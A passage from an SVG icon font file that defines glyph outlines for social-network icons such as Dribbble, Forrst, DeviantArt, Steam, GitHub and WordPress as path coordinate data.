	c 25.027-68.769, 35.209-124.779, 37.169-136.416C 373.826,30.124, 404.383,76.101, 412.912,129.337z M 298.739-16.417
	c-2.846,16.787-13.955,75.289-40.818,145.093c-0.42-0.144-0.841-0.28-1.26-0.425c-107.918-37.607-146.657-112.445-150.1-119.483
	c 32.441-25.298, 73.21-40.39, 117.441-40.39C 250.505-31.622, 275.766-26.202, 298.739-16.417z M 81.855,31.778
	c 4.335,7.42, 56.844,94.362, 155.521,126.26c 2.495,0.805, 5.008,1.562, 7.541,2.275c-4.804,10.869-10.036,21.75-15.512,32.469
	c-95.549-28.595-188.267-27.401-196.639-27.228c-0.058-1.943-0.097-3.889-0.097-5.848C 32.669,110.567, 51.298,65.7, 81.855,31.778z
	 M 36.712,198.895c 8.557-0.114, 87.385-0.456, 176.882,23.311c-31.701,56.355-65.893,103.736-70.937,110.652
	C 89.129,307.612, 49.118,258.267, 36.712,198.895z M 179.164,345.719c 5.288-7.081, 40.039-54.402, 71.391-112.006
	c 68.035,25.499, 96.836,64.212, 100.278,69.114c-33.788,29.977-78.217,48.212-126.832,48.212C 208.562,351.039, 193.552,349.187, 179.164,345.719z
	 M 372.103,280.701c-4.032-5.457-36.096-46.558-106.838-75.44c 4.453-9.114, 8.721-18.383, 12.694-27.713
	c 1.407-3.307, 2.78-6.599, 4.12-9.874c 63.664,8.005, 126.92-4.825, 133.23-6.159C 414.887,206.675, 398.751,248.144, 372.103,280.701z" data-tags="dribbble, social" />
<glyph unicode="&#xe180;" d="M 235.704,158.283 C 149.362,130.373 103.416,54.299 99.623,47.805 C 72.885,77.486 56.585,116.744 56.585,159.743 C 56.585,161.456 56.619,163.16 56.67,164.86 C 63.996,164.71 145.124,163.664 228.729,188.685 C 233.521,179.305 238.099,169.784 242.302,160.274 C 240.087,159.65 237.887,158.988 235.704,158.283 ZM 334.979,284.974 C 331.968,280.684 306.766,246.81 247.236,224.499 C 219.803,274.901 189.395,316.308 184.768,322.504 C 197.358,325.539 210.493,327.159 224.001,327.159 C 266.539,327.159 305.414,311.204 334.979,284.974 ZM 214.895,214.43 C 136.584,193.635 67.61,193.934 60.122,194.033 C 70.978,245.983 105.988,289.16 152.825,311.251 C 157.238,305.198 187.156,263.741 214.895,214.43 ZM 252.578,132.219 C 252.945,132.347 253.313,132.465 253.681,132.591 C 277.185,71.514 286.906,20.324 289.397,5.635 C 269.295-2.926 247.193-7.669 224.001-7.669 C 185.298-7.669 149.625,5.536 121.24,27.672 C 124.253,33.831 158.149,99.314 252.578,132.219 ZM 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 224.001-36
		C 115.925-36, 28,51.924, 28,160C 28,268.075, 115.925,356, 224.001,356C 332.077,356, 420,268.075, 420,160
		C 420,51.924, 332.077-36, 224.001-36zM 285.016,140.328 C 337.479,148.725 383.569,134.977 389.298,133.171 C 381.834,86.588 355.098,46.359 317.539,20.964 C 315.823,31.148 306.913,80.155 285.016,140.328 ZM 260.108,199.604 C 322.007,224.876 350.061,260.838 353.59,265.614 C 376.905,237.126 391.025,200.841 391.395,161.326 C 385.875,162.494 330.526,173.72 274.82,166.715 C 273.647,169.581 272.446,172.461 271.214,175.355 C 267.739,183.519 264.003,191.63 260.108,199.604 Z" data-tags="dribbble, social" />
<glyph unicode="&#xe181;" d="M 334.979,284.974 C 331.968,280.684 306.766,246.81 247.236,224.499 C 219.803,274.901 189.395,316.308 184.768,322.504 C 197.358,325.539 210.493,327.159 224.001,327.159 C 266.539,327.159 305.414,311.204 334.979,284.974 ZM 235.704,158.283 C 149.362,130.373 103.416,54.299 99.623,47.805 C 72.885,77.486 56.585,116.744 56.585,159.743 C 56.585,161.456 56.619,163.16 56.67,164.86 C 63.996,164.71 145.124,163.664 228.729,188.685 C 233.521,179.305 238.099,169.784 242.302,160.274 C 240.087,159.65 237.887,158.988 235.704,158.283 ZM 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224.001-36
		C 115.925-36, 28,51.924, 28,160C 28,268.075, 115.925,356, 224.001,356C 332.077,356, 420,268.075, 420,160
		C 420,51.924, 332.077-36, 224.001-36zM 271.214,175.355 C 267.738,183.519 264.003,191.63 260.107,199.605 C 322.006,224.876 350.061,260.839 353.59,265.614 C 376.905,237.126 391.025,200.841 391.395,161.326 C 385.875,162.494 330.526,173.72 274.82,166.715 C 273.647,169.581 272.446,172.461 271.214,175.355 ZM 214.895,214.43 C 136.584,193.635 67.61,193.934 60.122,194.033 C 70.978,245.983 105.988,289.16 152.825,311.251 C 157.238,305.198 187.156,263.741 214.895,214.43 ZM 252.578,132.219 C 252.945,132.347 253.313,132.465 253.681,132.591 C 277.185,71.514 286.906,20.324 289.397,5.635 C 269.295-2.926 247.193-7.669 224.001-7.669 C 185.298-7.669 149.625,5.536 121.24,27.672 C 124.253,33.831 158.149,99.314 252.578,132.219 ZM 285.016,140.328 C 337.479,148.725 383.569,134.977 389.298,133.171 C 381.834,86.588 355.098,46.359 317.539,20.964 C 315.823,31.148 306.913,80.155 285.016,140.328 Z" data-tags="dribbble, social" />
<glyph unicode="&#xe182;" d="M 168-8 L 0-8 L 196,384 L 392-8 L 224-8 L 224,48 L 280,48 L 280,76 L 224,76 L 224,132 L 168,132 ZM 168-8L 224-8L 224-64L 168-64z" data-tags="forrst, social" />
<glyph unicode="&#xe183;" d="M 196,132L 252,132L 252,20L 196,20zM 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 252,20l0-56 
		l-56,0 l0,56 L 84,20 L 224,328l 140-308L 252,20 z" data-tags="forrst, social" />
<glyph unicode="&#xe184;" d="M 245.812,205.937c-17.081,0.998-36.786-0.021-59.609-3.916l 52.646-94.889L 448,164.562
	c-2.255,5.364-5.55,10.599-9.915,15.662c-21.645,25.059-68.574,47.414-119.702,57.495l 0.001,0.011
	c-50.157,11.757-104.476,11.263-160.107,2.865c-2.005-0.301-4-0.622-5.985-0.956l-18.494,34.253
	c-18-2.403-34.916-6.147-50.578-11.145l 17.614-36.837c-28.77-11.146-52.378-27.020-69.413-46.127
	C 3.329,147.819-7.774,107.637, 5.72,68.506c 2.714-7.893, 6.382-15.382, 10.909-22.398l 209.155,57.443l-58.078,107.559
	c 1.994,0.385, 4.023,0.773, 6.094,1.148c 93.923,16.755, 145.295-9.128, 173.432-36.676l-71.557-17.346L 245.812,205.937z M 76.441,109.954
	c-6.457,29.467-1.318,62.355, 39.552,84.26l 31.998-66.915L 76.441,109.954z" data-tags="deviantart, social" />
<glyph unicode="&#xe185;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 420,48L 252,48 
		L 252,151.25 c0,0, 30.771-0.438, 47.25-17.5l0-29.75 l 67.554,0 c-5.171,16.573-16.217,32.861-31.994,46.666C 307.695,174.391, 263.413,186.25, 224,186.25l0-138.25 L 28,48 l0,42 
		c0,18.986, 6.409,37.86, 18.534,54.583c 10.76,14.839, 25.753,27.927, 44.564,38.9c 22.064,12.87, 48.371,22.185, 76.902,27.465L 168,272 l 56,0 
		l0-56 c 64.313,0, 96.955-11.548, 132.903-32.518c 18.811-10.973, 33.804-24.061, 44.564-38.9C 413.591,127.86, 420,108.986, 420,90L 420,48 zM 87.321,104 C 92.492,120.573 103.539,136.861 119.314,150.666 C 133.113,162.739 149.773,172.185 168,178.559 L 168,104 L 87.321,104 Z" data-tags="deviantart, social" />
<glyph unicode="&#xe186;" d="M 308,258A42,42 1260 1 0 392,258A42,42 1260 1 0 308,258zM 419.297,327.296c-38.272,38.271-100.321,38.271-138.594,0c-15.565-15.565-24.799-35.064-27.703-55.296l0,0 L 163.446,136.275
		c-12.034-0.617-23.965-3.682-34.985-9.194L 59.383,181.079c-15.991,12.501-39.087,9.67-51.587-6.321
		c-12.5-15.991-9.67-39.087, 6.321-51.587l 68.221-53.328c-7.42-29.217, 0.294-61.485, 23.157-84.347
		c 34.521-34.52, 90.489-34.52, 125.010,0c 21.204,21.204, 29.378,50.5, 24.533,77.948L 364,160.999l-0.001,0.001
		c 20.233,2.904, 39.732,12.138, 55.297,27.703C 457.568,226.974, 457.568,289.025, 419.297,327.296z M 168-10.93
		c-32.546,0-58.93,26.383-58.93,58.93c0,0.311, 0.018,0.619, 0.024,0.929l 29.274-22.883c 6.72-5.253, 14.692-7.798, 22.607-7.798
		c 10.921,0, 21.731,4.848, 28.979,14.119c 12.5,15.991, 9.67,39.087-6.321,51.587l-27.781,21.716c 3.921,0.822, 7.984,1.26, 12.149,1.26
		c 32.546,0, 58.93-26.383, 58.93-58.93S 200.547-10.93, 168-10.93z M 350,188c-38.66,0-70,31.34-70,70s 31.34,70, 70,70
		s 70-31.34, 70-70S 388.66,188, 350,188z" data-tags="steam, social" />
<glyph unicode="&#xe187;" d="M 132.966,18.246 C 144.841,18.246 156.497,23.993 163.579,34.615 C 174.837,51.504 170.273,74.32 153.386,85.579 L 124.478,104.85 C 129.426,106.197 134.626,106.93 140,106.93 C 172.547,106.93 198.93,80.547 198.93,48 C 198.93,15.453 172.546-10.93 139.999-10.93 C 108.322-10.93 82.492,14.065 81.134,45.408 L 112.614,24.422 C 118.88,20.245 125.961,18.246 132.966,18.246 ZM 373.336,384 C 414.407,384 448,350.395 448,309.324 L 448,10.674 C 448-30.423 414.407-64 373.336-64 L 74.676-64 C 33.605-64 0-30.422 0,10.673 L 0,99.498 L 53.084,64.11 C 47.986,36.471 56.119,6.871 77.495-14.505 C 112.016-49.025 167.983-49.025 202.505-14.505 C 223.709,6.699 231.883,35.996 227.038,63.443 L 336.001,160.999 L 336,161 C 356.234,163.904 375.732,173.138 391.297,188.703 C 429.568,226.974 429.568,289.025 391.297,327.296 C 353.025,365.568 290.975,365.568 252.703,327.296 C 237.138,311.731 227.904,292.233 225,272 L 225,272 L 135.446,136.274 C 121.513,135.56 107.719,131.565 95.316,124.29 L 0,187.835 L 0,309.324 C 0,350.395 33.604,384 74.675,384 L 373.336,384 ZM 392,258c0,38.66-31.34,70-70,70s-70-31.34-70-70s 31.34-70, 70-70S 392,219.34, 392,258z M 280,258
		c0,23.196, 18.804,42, 42,42s 42-18.804, 42-42s-18.804-42-42-42S 280,234.804, 280,258z" data-tags="steam, social" />
<glyph unicode="&#xe188;" d="M 0,140.571 C 0,120.272 1.899,101.904 5.697,85.474 C 9.494,69.045 14.752,54.769 21.47,42.647 C 28.188,30.524 36.732,19.863 47.101,10.662 C 57.47,1.461 68.716-6.061 80.838-11.902 C 92.959-17.743 106.797-22.489 122.351-26.141 C 137.905-29.793 153.788-32.349 169.999-33.81 C 186.211-35.27 204.028-36 223.452-36 C 243.023-36 260.914-35.27 277.125-33.81 C 293.336-32.349 309.256-29.792 324.882-26.141 C 340.509-22.491 354.419-17.745 366.615-11.902 C 378.81-6.060 390.128,1.461 400.572,10.662 C 411.015,19.863 419.632,30.526 426.422,42.647 C 433.212,54.767 438.506,69.044 442.304,85.474 C 446.101,101.905 448,120.272 448,140.571 C 448,176.79 435.878,208.118 411.636,234.553 C 412.95,238.058 414.155,242.037 415.25,246.492 C 416.346,250.947 417.368,257.299 418.317,265.551 C 419.267,273.803 418.902,283.332 417.222,294.14 C 415.543,304.948 412.439,315.974 407.91,327.22 L 404.625,327.877 C 402.287,328.315 398.453,328.206 393.123,327.548 C 387.792,326.891 381.585,325.577 374.502,323.605 C 367.419,321.634 358.291,317.836 347.118,312.213 C 335.945,306.59 324.152,299.544 311.737,291.073 C 290.415,296.915 261.132,299.836 223.891,299.836 C 186.794,299.836 157.585,296.915 136.262,291.073 C 123.847,299.544 111.981,306.59 100.663,312.213 C 89.345,317.836 80.326,321.634 73.608,323.605 C 66.89,325.577 60.609,326.855 54.768,327.439 C 48.926,328.024 45.238,328.206 43.705,327.987 C 42.171,327.768 40.966,327.512 40.090,327.22 C 35.563,315.974 32.459,304.949 30.78,294.14 C 29.101,283.332 28.735,273.803 29.684,265.551 C 30.634,257.3 31.657,250.947 32.751,246.492 C 33.847,242.037 35.052,238.058 36.366,234.553 C 12.122,208.118 0,176.791 0,140.571 Z M 54.987,85.584 C 54.987,106.615 64.553,125.893 83.685,143.419 C 89.38,148.678 96.026,152.656 103.62,155.359 C 111.214,158.061 119.794,159.594 129.361,159.96 C 138.927,160.325 148.091,160.252 156.854,159.74 C 165.617,159.229 176.424,158.535 189.276,157.659 C 202.129,156.783 213.229,156.345 222.576,156.345 C 231.923,156.345 243.023,156.783 255.875,157.659 C 268.727,158.535 279.534,159.229 288.298,159.74 C 297.061,160.252 306.224,160.325 315.791,159.96 C 325.357,159.594 333.937,158.061 341.533,155.359 C 349.126,152.657 355.771,148.678 361.467,143.419 C 380.599,126.184 390.166,106.907 390.166,85.584 C 390.166,73.022 388.595,61.888 385.455,52.175 C 382.315,42.462 378.298,34.32 373.405,27.749 C 368.512,21.178 361.722,15.591 353.032,10.99 C 344.342,6.389 335.872,2.848 327.62,0.364 C 319.368-2.118 308.779-4.054 295.854-5.442 C 282.928-6.829 271.391-7.669 261.24-7.961 C 251.090-8.253 238.201-8.399 222.575-8.399 C 206.948-8.399 194.059-8.253 183.909-7.961 C 173.759-7.669 162.221-6.829 149.296-5.442 C 136.371-4.054 125.783-2.118 117.531,0.364 C 109.28,2.848 100.809,6.39 92.119,10.99 C 83.43,15.59 76.638,21.176 71.746,27.749 C 66.853,34.321 62.836,42.462 59.697,52.175 C 56.556,61.888 54.987,73.024 54.987,85.584 ZM 280,90A28,42 2700 1 0 336,90A28,42 2700 1 0 280,90zM 112,90A28,42 2700 1 0 168,90A28,42 2700 1 0 112,90z" data-tags="github, octacat, social" />
<glyph unicode="&#xe189;" d="M 224,20.047c-8.38,0-16.76,4.338-25.437,13.016c-3.417,3.417-3.417,8.957,0,12.375c 3.417,3.416, 8.957,3.416, 12.375,0
		C 216.278,40.096, 220.551,37.5, 224,37.5c 3.448,0, 7.722,2.596, 13.063,7.937c 3.418,3.416, 8.957,3.416, 12.375,0
		c 3.417-3.417, 3.417-8.957,0-12.375C 240.76,24.385, 232.38,20.047, 224,20.047zM 0,154.097 C 0,132.269 1.866,112.481 5.6,94.736 C 9.334,76.991 14.584,61.6 21.35,48.566 C 28.116,35.532 36.672,24.108 47.016,14.292 C 57.361,4.477 68.599-3.61 80.733-9.971 C 92.866-16.33 106.749-21.475 122.383-25.399 C 138.016-29.326 153.921-32.074 170.099-33.644 C 186.277-35.215 204.089-36 223.533-36 C 242.977-36 260.826-35.217 277.082-33.646 C 293.338-32.076 309.283-29.327 324.915-25.401 C 340.548-21.475 354.471-16.332 366.682-9.972 C 378.892-3.612 390.21,4.477 400.631,14.291 C 411.054,24.106 419.649,35.53 426.415,48.564 C 433.183,61.599 438.472,76.99 442.283,94.735 C 446.093,112.48 447.999,132.267 447.999,154.095 C 447.999,193.198 435.865,226.882 411.599,255.149 C 412.999,258.919 414.204,263.237 415.215,268.105 C 416.225,272.974 417.198,279.844 418.131,288.717 C 419.066,297.59 418.715,307.837 417.082,319.457 C 415.448,331.079 412.377,342.935 407.865,355.027 L 404.365,355.735 C 402.033,356.206 398.222,356.049 392.933,355.262 C 387.645,354.477 381.461,353.065 374.384,351.023 C 367.307,348.982 358.167,344.938 346.966,338.892 C 335.767,332.847 323.945,325.19 311.5,315.925 C 290.344,322.364 261.179,329.101 224,329.101 C 186.823,329.101 157.578,322.365 136.268,315.926 C 123.823,325.192 111.962,332.808 100.684,338.776 C 89.406,344.744 80.384,348.827 73.617,351.025 C 66.85,353.223 60.589,354.637 54.834,355.264 C 49.078,355.892 45.383,356.089 43.75,355.853 C 42.117,355.618 40.912,355.343 40.134,355.029 C 35.621,342.936 32.511,331.080 30.799,319.458 C 29.088,307.838 28.699,297.63 29.633,288.837 C 30.566,280.042 31.577,273.131 32.666,268.107 C 33.756,263.082 35,258.763 36.4,255.151 C 12.134,227.042 0,193.358 0,154.097 Z M 59.734,104.261 C 59.734,129.645 69.067,152.665 87.734,173.323 C 93.335,179.625 99.83,184.397 107.218,187.634 C 114.607,190.873 123.007,192.712 132.418,193.149 C 141.83,193.587 150.812,193.499 159.368,192.887 C 167.924,192.273 178.502,191.442 191.102,190.392 C 203.701,189.341 214.59,188.816 223.768,188.816 C 232.945,188.816 243.835,189.341 256.434,190.392 C 269.036,191.442 279.613,192.273 288.168,192.887 C 296.726,193.499 305.707,193.587 315.119,193.149 C 324.531,192.711 332.97,190.873 340.436,187.634 C 347.903,184.397 354.436,179.625 360.036,173.323 C 378.702,152.665 388.036,129.645 388.036,104.261 C 388.036,89.38 386.481,76.119 383.369,64.477 C 380.258,52.834 376.33,43.076 371.585,35.199 C 366.841,27.32 360.189,20.666 351.636,15.24 C 343.080,9.812 334.796,5.611 326.786,2.636 C 318.775-0.339 308.43-2.66 295.753-4.323 C 283.073-5.984 271.719-6.993 261.684-7.342 C 251.65-7.692 239.012-7.867 223.768-7.867 C 208.524-7.867 195.924-7.691 185.968-7.342 C 176.012-6.993 164.696-5.984 152.018-4.323 C 139.34-2.66 128.996-0.34 120.984,2.636 C 112.974,5.611 104.69,9.812 96.135,15.24 C 87.579,20.667 80.929,27.32 76.184,35.199 C 71.439,43.076 67.512,52.834 64.401,64.477 C 61.29,76.119 59.734,89.38 59.734,104.261 ZM 112,117.998A28,42 2700 1 0 168,117.99799999999999A28,42 2700 1 0 112,117.99799999999999zM 280,117.998A28,42 2700 1 0 336,117.99799999999999A28,42 2700 1 0 280,117.99799999999999z" data-tags="github, octacat, social" />
<glyph unicode="&#xe18a;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 357.024,26.976
	c-17.289-17.288-37.412-30.858-59.81-40.331c-5.69-2.406-11.469-4.518-17.325-6.34L 279.89,13.875 c0,17.646-6.052,30.625-18.156,38.938
	c 7.584,0.729, 14.547,1.75, 20.891,3.063s 13.052,3.209, 20.125,5.688s 13.416,5.432, 19.031,8.859s 11.010,7.875, 16.188,13.344s 9.516,11.666, 13.016,18.594
	s 6.271,15.24, 8.313,24.938s 3.063,20.381, 3.063,32.047c0,22.604-7.365,41.854-22.094,57.75c 6.709,17.5, 5.979,36.531-2.188,57.094l-5.469,0.656
	c-3.791,0.438-10.609-1.166-20.453-4.813s-20.891-9.625-33.141-17.938c-17.354,4.813-35.365,7.219-54.031,7.219c-18.813,0-36.75-2.406-53.813-7.219
	c-7.729,5.25-15.057,9.588-21.984,13.016c-6.927,3.427-12.469,5.76-16.625,7s-8.021,2.005-11.594,2.297s-5.87,0.365-6.891,0.219
	s-1.75-0.291-2.188-0.438c-8.166-20.709-8.896-39.74-2.188-57.094c-14.729-15.896-22.094-35.146-22.094-57.75c0-11.666, 1.021-22.349, 3.063-32.047
	s 4.813-18.010, 8.313-24.938s 7.838-13.125, 13.016-18.594s 10.573-9.916, 16.188-13.344s 11.959-6.38, 19.031-8.859s 13.781-4.375, 20.125-5.688
	s 13.307-2.334, 20.891-3.063c-11.959-8.166-17.938-21.146-17.938-38.938l0-34.226 c-6.605,1.966-13.116,4.289-19.512,6.995
	c-22.397,9.474-42.52,23.043-59.809,40.331c-17.288,17.289-30.859,37.412-40.331,59.81C 40.844,109.954, 35.875,134.587, 35.875,160
	s 4.969,50.046, 14.769,73.216c 9.474,22.397, 23.043,42.52, 40.331,59.809s 37.412,30.859, 59.809,40.331
	C 173.954,343.156, 198.587,348.125, 224,348.125s 50.046-4.969, 73.216-14.769c 22.398-9.474, 42.521-23.043, 59.81-40.331
	c 17.288-17.288, 30.858-37.412, 40.331-59.809C 407.156,210.046, 412.125,185.413, 412.125,160s-4.969-50.046-14.769-73.216
	C 387.882,64.387, 374.313,44.264, 357.024,26.976z" data-tags="github, octacat, social" />
<glyph unicode="&#xe18b;" d="M 102.934,275.185c-22.221,0-41.337-7.353-57.349-22.057c-16.663-15.685-24.999-35.289-24.999-58.816
		c0-15.685, 4.539-30.39, 13.691-44.114c 8.17-12.743, 16.704-20.915, 27.903-24.511l0-0.981 c-11.199-4.571-16.173-16.008-16.173-34.308
		c0-14.054, 4.975-24.51, 16.173-31.372l0-0.981 c-30.911-10.126-45.059-28.916-45.059-56.363c0-23.859, 10.39-41.338, 30.654-52.447
		C 63.783-59.589, 84.34-64, 109.176-64c 60.449,0, 90.74,25.323, 90.74,75.978c0,31.695-23.328,51.136-70.056,58.326
		c-10.783,1.63-18.938,5.554-24.492,11.764c-4.247,4.247-6.362,8.495-6.362,12.743c0,12.089, 6.544,19.117, 19.609,21.077
		c 19.932,2.937, 36.194,12.173, 48.775,27.692c 12.578,15.522, 18.869,33.739, 18.869,54.651c0,6.535-1.977,13.561-4.588,21.075
		c 8.495,1.964, 14.459,3.76, 18.94,5.395L 200.611,275.185 c-19.711-7.844-38.058-11.762-53.743-11.762
		C 133.142,271.264, 118.945,275.185, 102.934,275.185z M 108.326,30.601c 27.45,0, 41.17-8.331, 41.17-24.999
		c0-17.647-12.58-26.465-37.74-26.465c-28.754,0-43.131,8.497-43.131,25.486C 68.624,21.943, 81.856,30.601, 108.326,30.601z
		 M 104.895,160c-20.586,0-30.881,11.272-30.881,33.822c0,24.177, 10.295,36.271, 30.881,36.271c 9.801,0, 17.482-3.761, 23.035-11.274
		c 4.575-6.864, 6.864-15.032, 6.864-24.51C 134.795,171.439, 124.826,160, 104.895,160zM 253.918,384c-9.474,0-17.561-3.594-24.261-10.784c-6.7-7.191-10.049-15.845-10.049-25.977
		c0-9.804, 3.35-18.296, 10.049-25.488c 6.697-7.19, 14.784-10.78, 24.261-10.78c 9.148,0, 17.075,3.591, 23.774,10.78
		c 6.699,7.192, 10.045,15.683, 10.045,25.488c0,10.133-3.346,18.788-10.045,25.977C 270.99,380.406, 263.066,384, 253.918,384zM 281.369,272.001l-55.39,0 c 0.654-6.272-0.28-15.768-0.28-31.124l0-152.439 c0-15.687, 0.935-28.339, 0.28-33.266l 55.39,0 
		c-0.656,7.165-2.36,19.542-2.36,36.207L 279.010,241.855 C 279.007,256.233, 280.713,265.729, 281.369,272.001zM 403.522,102.162c-14.381,0-21.473,10.95-21.473,32.841l0,90.405 l 21.816,0 c 3.92,0, 7.452,0.215, 11.864-0.108
		c 4.413-0.327, 6.191-0.109, 8.434-0.109l0,46.808 l-42.113,0 l0,20.832 c0,7.841, 1.232,15.007, 2.211,19.487l-56.857,0 
		c 0.981-4.48, 0.887-11.321, 0.887-20.471L 328.291,272 l-24.64,0 l0-46.807 c 6.722,0.98, 12.727,1.468, 16.973,1.468l 7.667-0.489l0-0.256 l0,0l0-88.463 
		c0-27.45, 3.482-47.544, 10.341-60.288c 9.153-16.992, 25.21-25.488, 49.059-25.488c 16.996,0, 31.989,3.266, 43.187,9.804l0,49.014 
		C 421.922,104.94, 413.649,102.162, 403.522,102.162z" data-tags="github, social" />
<glyph unicode="&#xe18c;" d="M 115.269,51.776c0-11.835, 10.016-17.755, 30.042-17.755c 17.528,0, 26.288,6.143, 26.288,18.434
		c0,11.61-9.558,17.411-28.675,17.411C 124.485,69.868, 115.269,63.839, 115.269,51.776zM 373.34,384L 74.676,384 C 33.605,384,0,350.396,0,309.324l0-298.649 C0-30.422, 33.605-64, 74.676-64l 298.664,0 
		C 414.407-64, 448-30.422, 448,10.676L 448,309.324 C 448,350.396, 414.408,384, 373.34,384z M 208.131,205.068
		c-3.187-1.139-7.738-2.388-13.655-3.756c 1.82-5.235, 2.733-10.129, 2.733-14.68c0-14.565-4.383-27.255-13.144-38.068
		c-8.763-10.81-20.087-17.24-33.97-19.288c-9.102-1.368-13.653-6.261-13.653-14.682c0-2.958, 1.478-5.919, 4.438-8.877
		c 3.869-4.325, 9.558-7.058, 17.070-8.196c 32.546-5.006, 48.819-18.547, 48.819-40.624c0-35.281-21.054-52.921-63.158-52.921
		c-17.3,0-31.524,3.074-42.675,9.218c-14.113,7.738-21.165,19.915-21.165,36.531c0,19.12, 10.584,32.207, 31.747,39.26l0,0.682 
		c-7.737,4.779-11.605,12.062-11.605,21.851c0,12.745, 3.642,20.713, 10.924,23.897l0,0.683 c-7.283,2.504-13.77,8.195-19.46,17.073
		c-6.372,9.56-9.559,19.801-9.559,30.726c0,16.388, 5.806,30.043, 17.409,40.968c 11.154,10.244, 24.468,15.363, 39.946,15.363
		c 11.154,0, 21.507-2.729, 31.067-8.191c 10.924,0, 23.556,2.73, 37.899,8.191L 208.131,205.068L 208.131,205.068z M 263.453,86.94
		l-38.581,0 c 0.456,4.551, 0.682,12.287, 0.682,23.215L 225.553,216.333 c0,10.699-0.228,18.097-0.682,22.189l 38.581,0 
		c-0.456-4.324-0.683-11.493-0.683-21.509l0-104.809 C 262.769,100.595, 262.998,92.173, 263.453,86.94z M 260.889,272.664
		c-4.665-5.007-10.186-7.508-16.558-7.508c-6.6,0-12.232,2.502-16.899,7.508c-4.666,5.010-7.001,10.925-7.001,17.753
		c0,7.059, 2.335,13.086, 7.001,18.098c 4.666,5.006, 10.299,7.511, 16.899,7.511c 6.372,0, 11.893-2.505, 16.558-7.511
		c 4.666-5.012, 6.999-11.038, 6.999-18.098C 267.888,283.589, 265.555,277.673, 260.889,272.664z M 368.239,91.379
		c-8.424-4.554-18.553-6.828-30.388-6.828c-16.612,0-28.109,5.915-34.479,17.751c-4.782,8.877-7.169,22.873-7.169,41.991l0,61.112 
		l 0.34,0 l0,0.683 l-5.121,0.342c-2.959,0-6.83-0.342-11.609-1.025L 279.814,238.523 l 16.727,0 l0,13.314 c0,6.374-0.34,11.498-1.024,15.365l 39.602,0 
		c-0.678-4.323-1.022-9.216-1.022-14.679l0-13.999 l 29.7,0 l0-33.115 c-1.137,0-3.242,0.113-6.316,0.34
		c-3.073,0.228-5.974,0.344-8.705,0.344l-14.68,0 l0-63.501 c0-15.253, 5.009-22.877, 15.021-22.877c 7.055,0, 13.43,1.933, 19.122,5.803
		L 368.239,91.379 L 368.239,91.379zM 140.532,208.822c-14.34,0-21.509-8.424-21.509-25.264c0-15.707, 7.17-23.558, 21.509-23.558
		c 13.885,0, 20.826,7.966, 20.826,23.899c0,6.602-1.593,12.291-4.778,17.072C 152.709,206.204, 147.36,208.822, 140.532,208.822z" data-tags="github, social" />
<glyph unicode="&#xe18d;" d="M 56,160.004c0-64.761, 38.641-120.736, 94.688-147.253L 70.548,226.594C 61.225,206.246, 56,183.727, 56,160.004zM 337.412,168.257c0,20.227-7.461,34.228-13.849,45.125c-8.513,13.484-16.502,24.891-16.502,38.376
			c0,15.039, 11.71,29.040, 28.213,29.040c 0.745,0, 1.452-0.089, 2.177-0.132C 307.563,307.339, 267.74,323.625, 224.004,323.625
			c-58.695,0-110.331-29.333-140.369-73.749c 3.942-0.123, 7.659-0.199, 10.812-0.199c 17.567,0, 44.774,2.079, 44.774,2.079
			c 9.052,0.517, 10.12-12.44, 1.075-13.485c0,0-9.104-1.036-19.229-1.553l 61.177-177.234l 36.769,107.387l-26.172,69.847
			c-9.051,0.518-17.622,1.553-17.622,1.553c-9.057,0.521-7.994,14.001, 1.067,13.485c0,0, 27.738-2.079, 44.246-2.079
			c 17.564,0, 44.778,2.079, 44.778,2.079c 9.057,0.517, 10.124-12.44, 1.070-13.485c0,0-9.115-1.038-19.227-1.553L 307.869,60.836
			l 16.761,54.526C 331.884,138.003, 337.412,154.256, 337.412,168.257zM 226.95,145.692l-50.411-142.65c 15.057-4.313, 30.972-6.667, 47.463-6.667c 19.563,0, 38.327,3.289, 55.789,9.275
			c-0.445,0.701-0.864,1.446-1.203,2.255L 226.95,145.692zM 371.421,238.5c 0.723-5.211, 1.132-10.8, 1.132-16.825c0-16.594-3.19-35.261-12.776-58.603l-51.313-144.494
			C 358.411,46.94, 392,99.641, 392,160.003C 392,188.453, 384.536,215.198, 371.421,238.5zM 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-36
		C 115.752-36, 28,51.752, 28,160S 115.752,356, 224,356s 196-87.752, 196-196S 332.248-36, 224-36z" data-tags="wordpress, social, cms" />
<glyph unicode="&#xe18e;" d="M 226.95,145.692 L 278.588,7.905 C 278.928,7.096 279.346,6.352 279.791,5.65 C 262.329-0.336 243.564-3.625 224.002-3.625 C 207.511-3.625 191.595-1.271 176.538,3.042 L 226.95,145.692 ZM 392,160.003 C 392,99.641 358.411,46.94 308.464,18.577 L 359.776,163.071 C 369.363,186.414 372.553,205.080 372.553,221.674 C 372.553,227.7 372.143,233.289 371.421,238.5 C 384.536,215.198 392,188.453 392,160.003 ZM 56,160.004 C 56,183.727 61.225,206.246 70.548,226.594 L 150.688,12.751 C 94.641,39.267 56,95.242 56,160.004 ZM 83.634,249.877 C 113.672,294.292 165.309,323.625 224.004,323.625 C 267.74,323.625 307.563,307.339 337.451,280.664 C 336.726,280.707 336.020,280.796 335.274,280.796 C 318.771,280.796 307.061,266.795 307.061,251.757 C 307.061,238.272 315.051,226.865 323.564,213.381 C 329.951,202.485 337.412,188.484 337.412,168.257 C 337.412,154.256 331.884,138.003 324.63,115.363 L 307.869,60.836 L 247.152,236.719 C 257.266,237.234 266.38,238.272 266.38,238.272 C 275.433,239.317 274.368,252.274 265.31,251.757 C 265.31,251.757 238.095,249.678 220.531,249.678 